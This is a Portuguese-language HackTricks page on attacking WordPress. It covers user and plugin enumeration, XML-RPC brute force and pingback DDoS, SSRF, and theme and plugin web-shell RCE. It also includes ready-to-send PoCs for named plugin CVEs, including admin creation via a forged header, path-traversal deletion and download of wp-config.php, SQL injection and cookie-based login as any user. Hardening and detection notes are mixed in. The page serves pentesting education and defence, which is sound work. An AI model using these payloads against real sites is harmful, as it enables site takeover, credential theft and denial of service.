Wordpress

Reading time: 28 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

  • Arquivos enviados vão para: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Os arquivos de temas podem ser encontrados em /wp-content/themes/, então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando theme twentytwelve você pode access o arquivo 404.php em: /wp-content/themes/twentytwelve/404.php

  • Outra URL útil pode ser: /wp-content/themes/default/404.php

  • No wp-config.php você pode encontrar a senha root do banco de dados.

  • Caminhos de login padrão para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Principais arquivos do WordPress

  • index.php
  • license.txt contém informações úteis, como a versão do WordPress instalada.
  • wp-activate.php é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
  • Pastas de login (podem ser renomeadas para ocultá-las):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos usando HTTP como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress REST API.
  • A pasta wp-content é o diretório principal onde plugins e temas são armazenados.
  • wp-content/uploads/ é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
  • wp-includes/ é o diretório onde os arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
  • wp-sitemap.xml Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis.

Post exploitation

  • O arquivo wp-config.php contém informações necessárias ao WordPress para conectar-se ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco de dados. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas.

Permissões de Usuários

  • Administrador
  • Editor: Publica e gerencia suas próprias postagens e as de outros
  • Autor: Publica e gerencia suas próprias postagens
  • Contribuidor: Escreve e gerencia suas postagens, mas não pode publicá-las
  • Assinante: Navega pelas postagens e edita seu perfil

Passive Enumeration

Obter versão do WordPress

Verifique se você consegue encontrar os arquivos /license.txt ou /readme.html

Dentro do código-fonte da página (exemplo de https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Arquivos de link CSS

  • Arquivos JavaScript

Obter Plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obter Temas

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extrair versões em geral

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumeração ativa

Plugins e Temas

Provavelmente você não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará ativamente Brute Force uma lista de Plugins e Temas (esperançosamente para nós existem ferramentas automatizadas que contêm essas listas).

Usuários

  • ID Brute: Você obtém usuários válidos de um site WordPress ao Brute Forcing os IDs de usuários:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Se as respostas forem 200 ou 30X, isso significa que o id é válido. Se a resposta for 400, então o id é inválido.

  • wp-json: Você também pode tentar obter informações sobre os usuários consultando:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Outro endpoint /wp-json/ que pode revelar algumas informações sobre usuários é:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Observe que este endpoint expõe apenas usuários que fizeram um post. Somente informações sobre os usuários que têm este recurso habilitado serão fornecidas.

Também observe que /wp-json/wp/v2/pages could leak endereços IP.

  • Login username enumeration: Ao fazer login em /wp-login.php, a mensagem é diferente dependendo se o username existe ou não.

XML-RPC

Se xml-rpc.php estiver ativo, você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS a outros recursos. (You can automate this process using this for example).

Para verificar se está ativo, tente acessar /xmlrpc.php e envie esta requisição:

Verificar

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar algum deles, pode enviar algo como:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

A mensagem "Incorrect username or password" dentro de uma resposta com código 200 deve aparecer se as credentials não estiverem válidas.

Usando as credentials corretas você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

Este método foi feito para programas e não para humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver creds válidas mas a entrada principal estiver protegida por 2FA, você pode ser capaz de abusar de xmlrpc.php para fazer login com essas creds contornando a 2FA. Note que você não conseguirá executar todas as ações que pode fazer pelo console, mas ainda assim pode chegar a RCE como o Ippsec explica em https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ou port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask milhares de Wordpress sites to acessar um único local (causando um DDoS nesse local) ou você pode usá-lo para fazer o Wordpress scan alguma rede interna (você pode indicar qualquer porta).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Se você obtiver faultCode com um valor maior do que 0 (17), isso significa que a porta está aberta.

Veja o uso de system.multicall na seção anterior para aprender como abusar deste método para causar DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este arquivo geralmente existe na raiz do site WordPress: /wp-cron.php
Quando este arquivo é acessado, uma consulta MySQL "pesada" é executada, então ele pode ser usado por atacantes para causar um DoS.
Além disso, por padrão, o wp-cron.php é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do WordPress), o que em sites de alto tráfego pode causar problemas (DoS).

Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Tente acessar https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e o site WordPress pode fazer uma requisição para você.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Esta ferramenta verifica se o methodName: pingback.ping e o caminho /wp-json/oembed/1.0/proxy existem; se existirem, tenta explorá-los.

Ferramentas Automáticas

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obter acesso sobrescrevendo um bit

Mais do que um ataque real, isto é uma curiosidade. No CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man você poderia inverter 1 bit de qualquer arquivo do wordpress. Então você poderia inverter a posição 5389 do arquivo /var/www/html/wp-includes/user.php para tornar NOP a operação NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Painel RCE

Modificando um php do tema usado (credenciais admin necessárias)

Aparência → Editor de Tema → Template 404 (à direita)

Substitua o conteúdo por um shell php:

Procure na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Você pode usar:

bash
use exploit/unix/webapp/wp_admin_shell_upload

para obter uma sessão.

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
Crie seu php backdoor usando por exemplo:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Uploading and activating malicious plugin

This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:

  1. Plugin Acquisition: O plugin é obtido de uma fonte como Exploit DB, por exemplo aqui.
  2. Plugin Installation:
  • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
  • Faça upload do arquivo zip do plugin baixado.
  1. Plugin Activation: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do dashboard.
  2. Exploitation:
  • With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
  • The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
  • It's noted that this is just one of the many methods to exploit a WordPress site.

O conteúdo inclui ilustrações que mostram os passos no dashboard do WordPress para instalar e ativar o plugin. Entretanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Estas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike é um script projetado para escalar uma vulnerabilidade Cross-Site Scripting (XSS) para Remote Code Execution (RCE) ou outras vulnerabilidades críticas no WordPress. Para mais informações confira este post. Ele fornece suporte para Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Cria um usuário no WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Faz upload do seu custom plugin (backdoor) para o WordPress.
  • (RCE) Built-In Plugin Edit: Edita um Built-In Plugin no WordPress.
  • (RCE) Built-In Theme Edit: Edita um Built-In Theme no WordPress.
  • (Custom) Custom Exploits: Custom Exploits para plugins/themes de terceiros do WordPress.

Post Exploitation

Extrair nomes de usuário e senhas:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Alterar password do admin:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Saber como um plugin do Wordpress pode expor funcionalidades é essencial para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos itens abaixo e alguns exemplos de plugins vulneráveis em this blog post.

  • wp_ajax

Uma das formas pelas quais um plugin pode expor funções para os usuários é via AJAX handlers. Estes podem conter bugs de lógica, authorization, ou authentication. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um wordpress nonce que any user authenticated in the Wordpress instance might have (independentemente do seu role).

Estas são as funções que podem ser usadas para expor uma função em um plugin:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

O uso de nopriv torna o endpoint acessível por quaisquer users (mesmo os não autenticados).

caution

Além disso, se a função estiver apenas verificando a autorização do user com a função wp_verify_nonce, essa função está apenas verificando se o user está loggedin; ela normalmente não verifica o role do user. Portanto users com baixo privilégio podem ter acesso a ações de alto privilégio.

  • REST API

Também é possível expor funções do wordpress registrando uma REST API usando a função register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

O permission_callback é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.

Se a função integrada __return_true for usada, ela simplesmente pulará a verificação de permissões do usuário.

  • Acesso direto ao arquivo php

Claro que o Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha qualquer funcionalidade vulnerável que seja disparada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver ligado criptograficamente à requisição por um componente upstream, um atacante pode forjá-lo e acessar rotas REST privilegiadas como administrador.

  • Impact: escalada de privilégio não autenticada para admin ao criar um novo administrator via a rota REST core users.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forces user ID 1, typically the first administrator account).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Por que funciona

  • O plugin mapeia um header controlado pelo cliente para o estado de autenticação e ignora as verificações de capability.
  • O core do WordPress espera a capability create_users para esta rota; o hack do plugin a contorna definindo diretamente o contexto do usuário atual a partir do header.

Indicadores de sucesso esperados

  • HTTP 201 com um corpo JSON descrevendo o usuário criado.
  • Um novo usuário administrador visível em wp-admin/users.php.

Checklist de detecção

  • Faça grep por getallheaders(), $_SERVER['HTTP_...'], ou SDKs de terceiros que leiam headers customizados para definir o contexto do usuário (por exemplo, wp_set_current_user(), wp_set_auth_cookie()).
  • Revise os registros REST em busca de callbacks privilegiados que não tenham checagens robustas de permission_callback e que, em vez disso, dependam de headers da requisição.
  • Procure por usos de funções core de gerenciamento de usuários (wp_insert_user, wp_create_user) dentro de handlers REST que são protegidos apenas por valores de headers.

Endurecimento

  • Nunca derive autenticação ou autorização de headers controlados pelo cliente.
  • Se um reverse proxy precisar injetar identidade, encerre a confiança no proxy e remova cópias inbound (por exemplo, unset X-Wcpay-Platform-Checkout-User na borda), então passe um token assinado e verifique-o no servidor.
  • Para rotas REST que executam ações privilegiadas, exija checagens current_user_can() e um permission_callback rigoroso (NÃO use __return_true).
  • Prefira autenticação first-party (cookies, application passwords, OAuth) em vez de “impersonation” por header.

Referências: veja os links no final desta página para um caso público e uma análise mais ampla.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

O tema multipurpose Litho (< 3.1) esqueceu esses 3 controles na funcionalidade Remover Família de Fontes e acabou distribuindo o seguinte código (simplificado):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemas introduzidos por este trecho:

  • Unauthenticated access – o hook wp_ajax_nopriv_ está registrado.
  • No nonce / capability check – qualquer visitante pode acessar o endpoint.
  • No path sanitisation – a string controlada pelo usuário fontfamily é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo a clássica travessia ../../.

Exploitation

Um atacante pode excluir qualquer arquivo ou diretório abaixo do diretório base de uploads (normalmente <wp-root>/wp-content/uploads/) enviando uma única requisição HTTP POST:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Porque wp-config.php fica fora de uploads, quatro sequências ../ são suficientes em uma instalação padrão. Excluir wp-config.php força o WordPress a entrar no assistente de instalação na próxima visita, permitindo a tomada completa do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário administrador).

Outros alvos impactantes incluem arquivos .php de plugin/theme (para desativar plugins de segurança) ou regras .htaccess.

Checklist de detecção

  • Qualquer callback add_action( 'wp_ajax_nopriv_...') que invoque filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenação de entrada de usuário não sanitizada em caminhos (procure por $_POST, $_GET, $_REQUEST).
  • Ausência de check_ajax_referer() e current_user_can()/is_user_logged_in().

Endurecimento

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

Sempre trate qualquer operação de escrita/exclusão em disco como privilegiada e verifique duas vezes: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Muitos plugins implementam um recurso "view as role" ou alternância temporária de role salvando o(s) role(s) originais em user meta para que possam ser restaurados mais tarde. Se o caminho de restauração depende apenas de request parameters (e.g., $_REQUEST['reset-for']) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma vertical privilege escalation.

Um exemplo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de reset restaurava roles com base em reset-for=<username> se o username aparecia em um array interno $options['viewing_admin_as_role_are'], mas não executava nem um current_user_can() nem uma verificação de nonce antes de remover os roles atuais e re-adicionar os roles salvos do user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Por que é explorável

  • Confia em $_REQUEST['reset-for'] e em uma opção do plugin sem autorização no servidor.
  • Se um usuário anteriormente teve privilégios mais altos salvos em _asenha_view_admin_as_original_roles e foi rebaixado, ele pode restaurá-los acessando o caminho de reset.
  • Em algumas implantações, qualquer usuário autenticado poderia disparar um reset para outro nome de usuário ainda presente em viewing_admin_as_role_are (autorização quebrada).

Pré-requisitos do ataque

  • Versão vulnerável do plugin com o recurso habilitado.
  • A conta alvo tem uma role de alto privilégio obsoleta armazenada em user meta de uso anterior.
  • Qualquer sessão autenticada; ausência de nonce/capability no fluxo de reset.

Exploração (exemplo)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, administrator), escalando privilégios de forma efetiva.

Detection checklist

  • Procure por recursos de troca de função que persistam “funções originais” em user meta (por exemplo, _asenha_view_admin_as_original_roles).
  • Identifique paths de reset/restore que:
  • Leem nomes de usuário de $_REQUEST / $_GET / $_POST.
  • Modificam funções via add_role() / remove_role() sem current_user_can() e wp_verify_nonce() / check_admin_referer().
  • Autorizam com base em um array de opção do plugin (por exemplo, viewing_admin_as_role_are) em vez das capacidades do ator.

Hardening

  • Aplique verificações de capacidade em todos os ramos que alteram estado (por exemplo, current_user_can('manage_options') ou mais restrito).
  • Exija nonces para todas as mutações de função/permissão e verifique-os: check_admin_referer() / wp_verify_nonce().
  • Nunca confie em nomes de usuário fornecidos na requisição; resolva o usuário alvo no servidor com base no ator autenticado e em política explícita.
  • Invalide o estado das “funções originais” nas atualizações de perfil/função para evitar restauração obsoleta de privilégios elevados:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • Considere armazenar o mínimo de estado e usar tokens com tempo limitado e protegidos por capability para trocas temporárias de função.

Alguns plugins ligam helpers de troca de usuário ao hook público init e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chamar wp_set_auth_cookie() sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.

Padrão vulnerável típico (simplificado de Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Por que é explorável

  • O hook público init torna o handler acessível por unauthenticated users (sem a proteção is_user_logged_in()).
  • A identidade é derivada de um cookie modificável pelo cliente (original_user_id).
  • Uma chamada direta para wp_set_auth_cookie($uid) autentica o requisitante como esse usuário sem qualquer verificação de capability/nonce.

Exploitation (unauthenticated)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Considerações de WAF para CVEs do WordPress/plugins

WAFs genéricos de edge/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/autenticação específicos da aplicação que parecem tráfego benigno a menos que o motor entenda as rotas do WordPress e a semântica dos plugins.

Notas ofensivas

  • Direcione endpoints específicos de plugins com payloads limpos: admin-ajax.php?action=..., wp-json/<namespace>/<route>, manipuladores de arquivo personalizados, shortcodes.
  • Teste caminhos não autenticados primeiro (AJAX nopriv, REST com permissive permission_callback, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
  • Casos típicos de alto impacto: escalonamento de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect.

Notas defensivas

  • Não confie em assinaturas de WAF genéricas para proteger CVEs de plugins. Implemente patches virtuais específicos da vulnerabilidade na camada de aplicação ou atualize rapidamente.
  • Prefira verificações de security positiva no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos.

Proteção do WordPress

Atualizações regulares

Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Além disso, instale apenas plugins e temas confiáveis do WordPress.

Plugins de Segurança

Outras Recomendações

  • Remova o usuário padrão admin
  • Use senhas fortes e 2FA
  • Revise periodicamente as permissões dos usuários
  • Limite as tentativas de login para prevenir ataques Brute Force
  • Renomeie o arquivo wp-admin.php e permita acesso apenas internamente ou de determinados endereços IP.

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

O plugin de recrutamento WP Job Portal expôs uma tarefa savecategory que, em última instância, executa o seguinte código vulnerável dentro de modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problems introduzidos por este snippet:

  1. Entrada do utilizador não sanitizadaparentid vem diretamente da requisição HTTP.
  2. Concatenação de strings dentro da cláusula WHERE – ausência de is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – embora a ação seja executada através de admin-post.php, a única verificação em vigor é um CSRF nonce (wp_verify_nonce()), que qualquer visitante pode obter de uma página pública que incorpora o shortcode [wpjobportal_my_resumes].

Exploração

  1. Obtenha um nonce novo:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Injete SQL arbitrário abusando de parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

A resposta revela o resultado da query injetada ou altera a base de dados, provando SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Outra tarefa, downloadcustomfile, permitia a visitantes descarregar qualquer arquivo no disco via path traversal. O sink vulnerável está localizado em modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name é controlado pelo atacante e concatenado sem sanitização. Novamente, a única barreira é um CSRF nonce que pode ser obtido na página do currículo.

Exploração

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

O servidor responde com o conteúdo de wp-config.php, leaking DB credentials and auth keys.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks